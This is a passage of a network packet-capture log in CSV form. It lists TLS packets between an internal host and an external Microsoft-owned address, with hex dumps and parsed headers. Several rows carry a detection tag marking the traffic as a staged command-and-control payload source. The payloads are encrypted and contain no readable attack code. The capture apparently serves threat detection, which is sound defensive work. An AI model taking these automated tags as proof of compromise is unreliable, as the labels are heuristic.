4baadaf93888d3ffc9634996c413d1156bf6034d5958193b6b42f6b261f4192da5aa255f1c59852d0e0ab7dba988a23f7300d575f734cb957b5abb88c623fb55d9642e4d3d743a6465b6e1d53027ab5059c17d2e853d8ab1504934ff41ce1f6066c6a24f065f11005b7fec515307e14b5330948d8c63d3645e8f9d4d3ecbde6146c8b722a16ea1451ba6ca9d210436e1884a43fb0ed473f943ad5cf16a89f72bd9ffccd3ef10391991bf49731fddfcba14c1b0afd50c4343030126b7630f297c398ec5af2a0e9058132bce5d38222591b2b8ce7616f6ea83b074718fdab647a005305cf66e81ec2949c70d0914aeeae7f1bcb38b968a295d0e4f191b93346869bc8e58ea35306bfaa691b757b737798554eb537bd1d4d3fefdc2c529c9b52d6f013572f51f6abd924ec97d95adcad0456f86b4f3545076c3ac4a7c87110c8cb2c9b1af51a874cda14fb4f0cd6e4952c6ea4f7f7f5388bfad12518ceb38cfbea7a1199510760fbf04327ec8b90ba0cfce36a5c988443ca575fb5a0367e711991c237099d5bdeffc9ab911d82821cd2581d182f2dc7e9a113a06749477a8677b583c87ee2384e218974f4265861acdbc40030998033a04a4a96af4c03a579c5c61978f1356d14c1ae81730320d84ce0aaa5a5653accc9c001e7c46db051f5c73e126ef9b6958349812f366817030300d4000000000000000447bf7d44570fed4d1c641cc5c36d38648107093894b14846ce3a4320046d7d02f52a9b83489476b92625d9f29c38d62379b6d14808a2404851fb2e7887e7740cf08dcf604cd6f4f605bc464fa3839f009349e9bc889eb040be1d560ecd0bc90f1d3643b0e0ce2232b9515933201583c0dc3c3b15aaf2eb031ccfdb7f960148ec844ff398d1c3a40257423b25d7f3de8288ca068efcc7fec73d49dc07b518400b1fead063dda523b8975321dc5db7d2df2e6d787d33e979ed0c767ea3c4c57709313aae264dbef8c67a8444ba17030300210000000000000005175adccd3f52aa637b18fd4d0944dd9cd3c0872010cd4bcd62,\".$.6\n..$.)....E..s^h@.@...(b.=\n.......... ....P..?........G.........i....l.Y.2........]tt~.!....m.......SZ....c....6v.&..A.lVb3\t....1$.........a...]..2.c3.\t.Z....(\n\nm..f~..!3...$.........1ov........m.L.W.\n...[L.B.J\"\"{./.(......%y..N.MR.Y.A..I....\\/GM./y....[v.mk...J..a.QZ..2p.8..h.r.E.\t0I0K\n>T?p.._.O...$..-.NS\n..[9..P..v........F...|%....GGK.Z.?...........1..H..f...\"\".y...n.n\\..j..\n..-S..5.........f./..._........?..4.lA=.V.`4....../k&.A..Z.U...R...}...#.0\nW_sL.W....b?.].B...C.F[n.S.z......S.....O.....lj$.e.......0~..3\tH..=6E........l.r*...Q.l...Cn...?..G?.:.....r....>.......1....L.\n.P.400.kv0.....Z.....2....\"\"Y.+..aon.;.G...dz.S..f.....p..J.....8.h.......3F......S...i.u{sw.UN.7..M?..,R..R...W/Q...$...Z...V.kO5E.l:...q...,.....L...O....,n....8...%......z..Q.`..C'.......j\\..C.W_..6~q...7\t.[..........X../-.....gIGz.w...~.8N!.t.&Xa....0..3.JJ..L..y...x.5m....s. .L....e:......m.Q..>.n....I./6h.............G.}DW..M.d...m8d..\t8..HF.:C .m}..*..H.v.&%...8.#y..H..@HQ..x..t....`L.....FO.....I.....@..V......6C...\"\"2.QY3 ....<;...........H..O......WB;%............=I....@....c..#..S!.]....mx}3.y..v~...w\t1:.&M...z.D.....!.........Z..?R.c{..M\tD..... ..K.b\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1139, \"\"id\"\": 24168, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 64730, \"\"src\"\": \"\"40.98.16.61\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64005, \"\"seq\"\": 2259388192, \"\"ack\"\": 4093516766, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 57255, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 839, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x03\\\\x05i\\\\xdd\\\\x81\\\\x05\\\\xffl\\\\x04Y\\\\x932\\\\x18\\\\x18\\\\x85\\\\xd0\\\\x1b\\\\xc8\\\\xdd\\\\x81]tt~\\\\xb1!\\\\xd1\\\\x1d\\\\xb6\\\\xbdm\\\\x90\\\\xa4\\\\x1e\\\\xea\\\\xd4\\\\xad\\\\xfeSZ\\\\xe9\\\\xf2\\\\xfc\\\\xe7c\\\\xfe\\\\x9b\\\\xcd\\\\xb26v\\\\x0b&\\\\xba\\\\xa7A\\\\x1elVb3\\\\t\\\\xce\\\\xb1\\\\xe4\\\\xfe1$\\\\xdc\\\\xd6\\\\x08\\\\xb4\\\\xcd\\\\xf0\\\\xdc\\\\xde\\\\xcba\\\\x95\\\\xc9\\\\x85]\\\\xa2\\\\x8a2\\\\x8cc3\\\\x1d\\\\t\\\\x91Z\\\\x92\\\\xde\\\\x02\\\\x99(\\\\n\\\\rm\\\\xa6\\\\x94f~\\\\x10\\\\xa5!3\\\\x18\\\\xf2\\\\xa6$\\\\x14\\\\xa0\\\\x97\\\\x18\\\\xeb\\\\x84\\\\xfd\\\\x0e\\\\xe01ov\\\\x98\\\\xd3\\\\xbd\\\\x8d\\\\xb6\\\\x10\\\\xe9\\\\xbdm\\\\xe0L\\\\x86W\\\\x85\\\\r\\\\x9c\\\\x07\\\\xb7[L\\\\xaeB\\\\xc7J\\\"\"{\\\\x13/\\\\x7f(\\\\xb5\\\\x8d\\\\xa3\\\\xa8\\\\xb9\\\\xbe%y\\\\xe2\\\\xaaN\\\\xdfMR\\\\xa4Y\\\\xcbA\\\\x87\\\\x13I\\\\xbf\\\\x8d\\\\xf4\\\\xad\\\\\\\\/GM\\\\xe7/y\\\\xca\\\\xc7\\\\xfc\\\\xdc[v\\\\x0emk\\\\xbd\\\\x14\\\\x8dJ\\\\x8b\\\\x91a\\\\xcaQZ\\\\x01\\\\xb32p\\\\x868\\\\x06\\\\x85h\\\\xc0r\\\\xb1E\\\\x8c\\\\t0I0K\\\\r>T?p\\\\xc6\\\\x14_\\\\x99O\\\\x15\\\\xc7\\\\x88$\\\\x05\\\\x92-\\\\xacNS\\\\n\\\\xb7\\\\x94[9\\\\x1c\\\\xd3P\\\\xcf\\\\x13v\\\\x08\\\\xfa\\\\xfb\\\\xb1\\\\xb5\\\\xc2\\\\x88\\\\xcbF\\\\x9d\\\\x1d\\\\xc0|%\\\\xa2\\\\x8b\\\\x1f\\\\xd9GGK\\\\xa7Z\\\\xfe?.\\\\xd0\\\\xa7\\\\xaa\\\\xec\\\\x86\\\\x91\\\\x0e\\\\xc3\\\\xe4\\\\xa61\\\\xe2\\\\xf5H\\\\xaf\\\\x91f\\\\x7f\\\\xf7\\\\xdc\\\"\"\\\\xfay\\\\xf7\\\\x10\\\\x81n\\\\x18n\\\\\\\\\\\\x10\\\\xd8j\\\\xf1\\\\xef\\\\r\\\\xff\\\\x98-S\\\\xd7\\\\x985\\\\xcf\\\\xf8\\\\xf8\\\\xc7\\\\xd3\\\\x91\\\\x06\\\\xde\\\\xf9f\\\\xa9/\\\\x8a\\\\xda\\\\xd1_\\\\xbe\\\\x14\\\\xba\\\\xad\\\\xaf\\\\x93\\\\x88\\\\x8d?\\\\xfc\\\\x964\\\\x99lA=\\\\x11V\\\\xbf`4\\\\xd5\\\\x95\\\\x81\\\\x93\\\\xb6\\\\xb4/k&\\\\x1fA\\\\x92\\\\xdaZ\\\\xa2U\\\\xf1\\\\xc5\\\\x98R\\\\xd0\\\\xe0\\\\xab}\\\\xba\\\\x98\\\\x8a#\\\\xf70\\\\rW_sL\\\\xb9W\\\\xb5\\\\xab\\\\xb8\\\\x8cb?\\\\xb5]\\\\x96B\\\\xe4\\\\xd3\\\\xd7C\\\\xa6F[n\\\\x1dS\\\\x02z\\\\xb5\\\\x05\\\\x9c\\\\x17\\\\xd2\\\\xe8S\\\\xd8\\\\xab\\\\x15\\\\x04\\\\x93O\\\\xf4\\\\x1c\\\\xe1\\\\xf6\\\\x06lj$\\\\xf0e\\\\xf1\\\\x10\\\\x05\\\\xb7\\\\xfe\\\\xc5\\\\x150~\\\\x14\\\\xb53\\\\tH\\\\xd8\\\\xc6=6E\\\\xe8\\\\xf9\\\\xd4\\\\xd3\\\\xec\\\\xbd\\\\xe6\\\\x14l\\\\x8br*\\\\x16\\\\xea\\\\x14Q\\\\xbal\\\\xa9\\\\xd2\\\\x10Cn\\\\x18\\\\x84\\\\xa4?\\\\xb0\\\\xedG?\\\\x94:\\\\xd5\\\\xcf\\\\x16\\\\xa8\\\\x9fr\\\\xbd\\\\x9f\\\\xfc\\\\xcd>\\\\xf1\\\\x03\\\\x91\\\\x99\\\\x1b\\\\xf4\\\\x971\\\\xfd\\\\xdf\\\\xcb\\\\xa1L\\\\x1b\\\\n\\\\xfdP\\\\xc4400\\\\x12kv0\\\\xf2\\\\x97\\\\xc3\\\\x98\\\\xecZ\\\\xf2\\\\xa0\\\\xe9\\\\x05\\\\x812\\\\xbc\\\\xe5\\\\xd3\\\\x82\\\"\"Y\\\\x1b+\\\\x8c\\\\xe7aon\\\\xa8;\\\\x07G\\\\x18\\\\xfd\\\\xabdz\\\\x00S\\\\x05\\\\xcff\\\\xe8\\\\x1e\\\\xc2\\\\x94\\\\x9cp\\\\xd0\\\\x91J\\\\xee\\\\xae\\\\x7f\\\\x1b\\\\xcb8\\\\xb9h\\\\xa2\\\\x95\\\\xd0\\\\xe4\\\\xf1\\\\x91\\\\xb93F\\\\x86\\\\x9b\\\\xc8\\\\xe5\\\\x8e\\\\xa3S\\\\x06\\\\xbf\\\\xaai\\\\x1bu{sw\\\\x98UN\\\\xb57\\\\xbd\\\\x1dM?\\\\xef\\\\xdc,R\\\\x9c\\\\x9bR\\\\xd6\\\\xf0\\\\x13W/Q\\\\xf6\\\\xab\\\\xd9$\\\\xec\\\\x97\\\\xd9Z\\\\xdc\\\\xad\\\\x04V\\\\xf8kO5E\\\\x07l:\\\\xc4\\\\xa7\\\\xc8q\\\\x10\\\\xc8\\\\xcb,\\\\x9b\\\\x1a\\\\xf5\\\\x1a\\\\x87L\\\\xda\\\\x14\\\\xfbO\\\\x0c\\\\xd6\\\\xe4\\\\x95,n\\\\xa4\\\\xf7\\\\xf7\\\\xf58\\\\x8b\\\\xfa\\\\xd1%\\\\x18\\\\xce\\\\xb3\\\\x8c\\\\xfb\\\\xeaz\\\\x11\\\\x99Q\\\\x07`\\\\xfb\\\\xf0C\\\\'\\\\xec\\\\x8b\\\\x90\\\\xba\\\\x0c\\\\xfc\\\\xe3j\\\\\\\\\\\\x98\\\\x84C\\\\xcaW_\\\\xb5\\\\xa06~q\\\\x19\\\\x91\\\\xc27\\\\t\\\\x9d[\\\\xde\\\\xff\\\\xc9\\\\xab\\\\x91\\\\x1d\\\\x82\\\\x82\\\\x1c\\\\xd2X\\\\x1d\\\\x18/-\\\\xc7\\\\xe9\\\\xa1\\\\x13\\\\xa0gIGz\\\\x86w\\\\xb5\\\\x83\\\\xc8~\\\\xe28N!\\\\x89t\\\\xf4&Xa\\\\xac\\\\xdb\\\\xc4\\\\x000\\\\x99\\\\x803\\\\xa0JJ\\\\x96\\\\xafL\\\\x03\\\\xa5y\\\\xc5\\\\xc6\\\\x19x\\\\xf15m\\\\x14\\\\xc1\\\\xae\\\\x81s\\\\x03 \\\\xd8L\\\\xe0\\\\xaa\\\\xa5\\\\xa5e:\\\\xcc\\\\xc9\\\\xc0\\\\x01\\\\xe7\\\\xc4m\\\\xb0Q\\\\xf5\\\\xc7>\\\\x12n\\\\xf9\\\\xb6\\\\x95\\\\x83I\\\\x81/6h' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 212, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04G\\\\xbf}DW\\\\x0f\\\\xedM\\\\x1cd\\\\x1c\\\\xc5\\\\xc3m8d\\\\x81\\\\x07\\\\t8\\\\x94\\\\xb1HF\\\\xce:C \\\\x04m}\\\\x02\\\\xf5*\\\\x9b\\\\x83H\\\\x94v\\\\xb9&%\\\\xd9\\\\xf2\\\\x9c8\\\\xd6#y\\\\xb6\\\\xd1H\\\\x08\\\\xa2@HQ\\\\xfb.x\\\\x87\\\\xe7t\\\\x0c\\\\xf0\\\\x8d\\\\xcf`L\\\\xd6\\\\xf4\\\\xf6\\\\x05\\\\xbcFO\\\\xa3\\\\x83\\\\x9f\\\\x00\\\\x93I\\\\xe9\\\\xbc\\\\x88\\\\x9e\\\\xb0@\\\\xbe\\\\x1dV\\\\x0e\\\\xcd\\\\x0b\\\\xc9\\\\x0f\\\\x1d6C\\\\xb0\\\\xe0\\\\xce\\\"\"2\\\\xb9QY3 \\\\x15\\\\x83\\\\xc0\\\\xdc<;\\\\x15\\\\xaa\\\\xf2\\\\xeb\\\\x03\\\\x1c\\\\xcf\\\\xdb\\\\x7f\\\\x96\\\\x01H\\\\xec\\\\x84O\\\\xf3\\\\x98\\\\xd1\\\\xc3\\\\xa4\\\\x02WB;%\\\\xd7\\\\xf3\\\\xde\\\\x82\\\\x88\\\\xca\\\\x06\\\\x8e\\\\xfc\\\\xc7\\\\xfe\\\\xc7=I\\\\xdc\\\\x07\\\\xb5\\\\x18@\\\\x0b\\\\x1f\\\\xea\\\\xd0c\\\\xdd\\\\xa5#\\\\xb8\\\\x97S!\\\\xdc]\\\\xb7\\\\xd2\\\\xdf.mx}3\\\\xe9y\\\\xed\\\\x0cv~\\\\xa3\\\\xc4\\\\xc5w\\\\t1:\\\\xae&M\\\\xbe\\\\xf8\\\\xc6z\\\\x84D\\\\xba' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x05\\\\x17Z\\\\xdc\\\\xcd?R\\\\xaac{\\\\x18\\\\xfdM\\\\tD\\\\xdd\\\\x9c\\\\xd3\\\\xc0\\\\x87 \\\\x10\\\\xcdK\\\\xcdb' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:54.250951,111,TCP 10.152.152.11:64005 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,64005,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=4093516766 Ack=2259389291,bc24112907bbbc2411360d0c080045000028f1f0400080062d9d0a98980b2862103dfa0501bbf3fe1bde86ab8b6b50100400b2dd0000,\".$.)...$.6\n...E..(..@...-.\n...(b.=...........kP.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61936, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11677, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64005, \"\"dport\"\": 443, \"\"seq\"\": 4093516766, \"\"ack\"\": 2259389291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 45789, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:54.251979,112,TCP 10.152.152.11:64005 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,64005,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=4093516766 Ack=2259389291,bc24112907bbbc2411360d0c080045000068f1f1400080062d5c0a98980b2862103dfa0501bbf3fe1bde86ab8b6b5018040035a00000170303003b0000000000000004d2bc83139958d8334f0a471b7b0a6f449776f53a931ec5e69bb24ca7c5a1f1841b253ae215944260f05940479374b098ea7018,\".$.)...$.6\n...E..h..@...-\\\n...(b.=...........kP...5.......;.............X.3O\nG.{\noD.v.:......L......%:...B`.Y@G.t...p.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 104, \"\"id\"\": 61937, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11612, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64005, \"\"dport\"\": 443, \"\"seq\"\": 4093516766, \"\"ack\"\": 2259389291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 13728, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 59, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\\xd2\\\\xbc\\\\x83\\\\x13\\\\x99X\\\\xd83O\\\\nG\\\\x1b{\\\\noD\\\\x97v\\\\xf5:\\\\x93\\\\x1e\\\\xc5\\\\xe6\\\\x9b\\\\xb2L\\\\xa7\\\\xc5\\\\xa1\\\\xf1\\\\x84\\\\x1b%:\\\\xe2\\\\x15\\\\x94B`\\\\xf0Y@G\\\\x93t\\\\xb0\\\\x98\\\\xeap\\\\x18' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:54.251989,113,TCP 40.98.16.61:443 -> 10.152.152.11:64005,40.98.16.61,10.152.152.11,443,64005,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2259389291 Ack=4093516830,bc2411360d0cbc24112907bb0800450000285e694000400601252862103d0a98980b01bbfa0586ab8b6bf3fe1c1e5010003fdb5c0000,\".$.6\n..$.)....E..(^i@.@..%(b.=\n..........k....P..?.\\..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 24169, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 293, \"\"src\"\": \"\"40.98.16.61\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64005, \"\"seq\"\": 2259389291, \"\"ack\"\": 4093516830, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 56156, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:54.604115,114,TCP 40.98.16.61:443 -> 10.152.152.11:64005,40.98.16.61,10.152.152.11,443,64005,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2259389291 Ack=4093516830,bc2411360d0cbc24112907bb0800450002c05e6a40004006fe8b2862103d0a98980b01bbfa0586ab8b6bf3fe1c1e5018003fddf400001703030293000000000000000603a842b92a2b311f6c4c96bd88484ad6ea3620fa12a1a1f1ed31ee7b558b0a4f17dea7cd33de88f2d2b8424b1789c20e186629599130c81d59744cc076130489665fef37ef55ae9e172beb33e82ad89323776df8955fa42035030f185104273a3c6121214fa65281dd52d0ef94647b62103ac26abe15f1297b87cf4300c7857c369439b47d89f59701e685af49f51b779c7e4e778441a46988f7d8c704d243fc0d99b07e963ce20431510d61997b858af7d96ce532ec889577cc6c8a59b8285641d4a7b554e9bec8df1656eaabe1d1ee06812ab5401c682d2810c2cad0187312296f0c8ec3dda2d9aefbae8d3a6935261d8476531ac6e096d2374b1a36bf778b09e2f89f299950736f930d4a4313527f717ae63336e176f908bbe42e71a6b7953025c7ca9eb0b192d25c9c4e01d7d9f6641e592f5295146d8afcd4dd8c130146bc269d19a76e9758f58ca64ba1c9bb259ebb2ce9ed295fc6f2b8290680a2a3cfe30c88d2e69da58ff134dc1ad6b6e979cd3f91aa4c4fb9363519619e9f00878d3a0747878327a15fd1df38189a5912a940d63c0c052778d8381a4b062693441ff312486e69962d8db8996944f0f4f10bce6b3a1a3c80a9093554a1a50ef2c20c2e415ae183c68580ab2ebe06e4d04b9ab2d0e96dfc576ad9ab3f32e597242080679ae8d58fb06b004d2246d6532ae7abe4fd746e3ef761b60812db0adcfa8be564c6caa8fb7c061acae4448eefb0fb669fe0d27805f5a8fcb2d6912480df303e02413f3eb1f5403a0875d4984e591628f2e76edf65122b9a105317e21c6ade237838dc3d6d80b54c537210f905d94a82a7a47fc165baf631889b38d4445c959d26c4f3a2ce75726617d406eff6e1b97b95d4c4b6d8ddd43c425c79b135efdaa16d3cfbc03dba0e45d58ac2,\".$.6\n..$.)....E...^j@.@...(b.=\n..........k....P..?...................B.*+1.lL...HJ..6 ......1.{U.\nO....3.....BK.....f)Y.0..YtL.v...f_.7.U...+.3.*..#wm.._. 5...Q.':<a!!O.R..R...d{b.:.j...){..C...|6.9.}.......I..w.~Nw.A.i......C.\n..~.<..1Q\na.{....l.2...w.l.Y.(VA...T.....V.......*.@.h-(.....s.)o..........:i5&..vS.....7K.6.w.\t...).Pso.\nJC.R.qz.36.v.....q...0%.......\\.N....d.Y/R..m.......F.&...n.X...K...%..,..)_...)..............4.....y.?..LO.65.a.....:.G..'._..8..Y..@.<..'x.8.K.&.D...Hni.-...iD.....k:.<..\t5T.......AZ...........K....m.Wj..?2..$ .g.....k.M\"\"F.S*....tn>.a....\n....d....|....D....f...x.......$..0>.A?>..@:.u..NY.(..n.e.+..S...j.#x8.=m..LSr....J.....e..1..8.D\\..&....urf.......{.......<B\\y.5...m<..=..E...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 704, \"\"id\"\": 24170, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 65163, \"\"src\"\": \"\"40.98.16.61\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64005, \"\"seq\"\": 2259389291, \"\"ack\"\": 4093516830, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 56820, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 659, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x06\\\\x03\\\\xa8B\\\\xb9*+1\\\\x1flL\\\\x96\\\\xbd\\\\x88HJ\\\\xd6\\\\xea6 \\\\xfa\\\\x12\\\\xa1\\\\xa1\\\\xf1\\\\xed1\\\\xee{U\\\\x8b\\\\nO\\\\x17\\\\xde\\\\xa7\\\\xcd3\\\\xde\\\\x88\\\\xf2\\\\xd2\\\\xb8BK\\\\x17\\\\x89\\\\xc2\\\\x0e\\\\x18f)Y\\\\x910\\\\xc8\\\\x1dYtL\\\\xc0v\\\\x13\\\\x04\\\\x89f_\\\\xef7\\\\xefU\\\\xae\\\\x9e\\\\x17+\\\\xeb3\\\\xe8*\\\\xd8\\\\x93#wm\\\\xf8\\\\x95_\\\\xa4 5\\\\x03\\\\x0f\\\\x18Q\\\\x04\\\\':<a!!O\\\\xa6R\\\\x81\\\\xddR\\\\xd0\\\\xef\\\\x94d{b\\\\x10:\\\\xc2j\\\\xbe\\\\x15\\\\xf1){\\\\x87\\\\xcfC\\\\x00\\\\xc7\\\\x85|6\\\\x949\\\\xb4}\\\\x89\\\\xf5\\\\x97\\\\x01\\\\xe6\\\\x85\\\\xafI\\\\xf5\\\\x1bw\\\\x9c~Nw\\\\x84A\\\\xa4i\\\\x88\\\\xf7\\\\xd8\\\\xc7\\\\x04\\\\xd2C\\\\xfc\\\\r\\\\x99\\\\xb0~\\\\x96<\\\\xe2\\\\x041Q\\\\ra\\\\x99{\\\\x85\\\\x8a\\\\xf7\\\\xd9l\\\\xe52\\\\xec\\\\x88\\\\x95w\\\\xccl\\\\x8aY\\\\xb8(VA\\\\xd4\\\\xa7\\\\xb5T\\\\xe9\\\\xbe\\\\xc8\\\\xdf\\\\x16V\\\\xea\\\\xab\\\\xe1\\\\xd1\\\\xee\\\\x06\\\\x81*\\\\xb5@\\\\x1ch-(\\\\x10\\\\xc2\\\\xca\\\\xd0\\\\x18s\\\\x12)o\\\\x0c\\\\x8e\\\\xc3\\\\xdd\\\\xa2\\\\xd9\\\\xae\\\\xfb\\\\xae\\\\x8d:i5&\\\\x1d\\\\x84vS\\\\x1a\\\\xc6\\\\xe0\\\\x96\\\\xd27K\\\\x1a6\\\\xbfw\\\\x8b\\\\t\\\\xe2\\\\xf8\\\\x9f)\\\\x99Pso\\\\x93\\\\rJC\\\\x13R\\\\x7fqz\\\\xe636\\\\xe1v\\\\xf9\\\\x08\\\\xbb\\\\xe4.q\\\\xa6\\\\xb7\\\\x950%\\\\xc7\\\\xca\\\\x9e\\\\xb0\\\\xb1\\\\x92\\\\xd2\\\\\\\\\\\\x9cN\\\\x01\\\\xd7\\\\xd9\\\\xf6d\\\\x1eY/R\\\\x95\\\\x14m\\\\x8a\\\\xfc\\\\xd4\\\\xdd\\\\x8c\\\\x13\\\\x01F\\\\xbc&\\\\x9d\\\\x19\\\\xa7n\\\\x97X\\\\xf5\\\\x8c\\\\xa6K\\\\xa1\\\\xc9\\\\xbb%\\\\x9e\\\\xbb,\\\\xe9\\\\xed)_\\\\xc6\\\\xf2\\\\xb8)\\\\x06\\\\x80\\\\xa2\\\\xa3\\\\xcf\\\\xe3\\\\x0c\\\\x88\\\\xd2\\\\xe6\\\\x9d\\\\xa5\\\\x8f\\\\xf14\\\\xdc\\\\x1a\\\\xd6\\\\xb6\\\\xe9y\\\\xcd?\\\\x91\\\\xaaLO\\\\xb965\\\\x19a\\\\x9e\\\\x9f\\\\x00\\\\x87\\\\x8d:\\\\x07G\\\\x87\\\\x83\\\\'\\\\xa1_\\\\xd1\\\\xd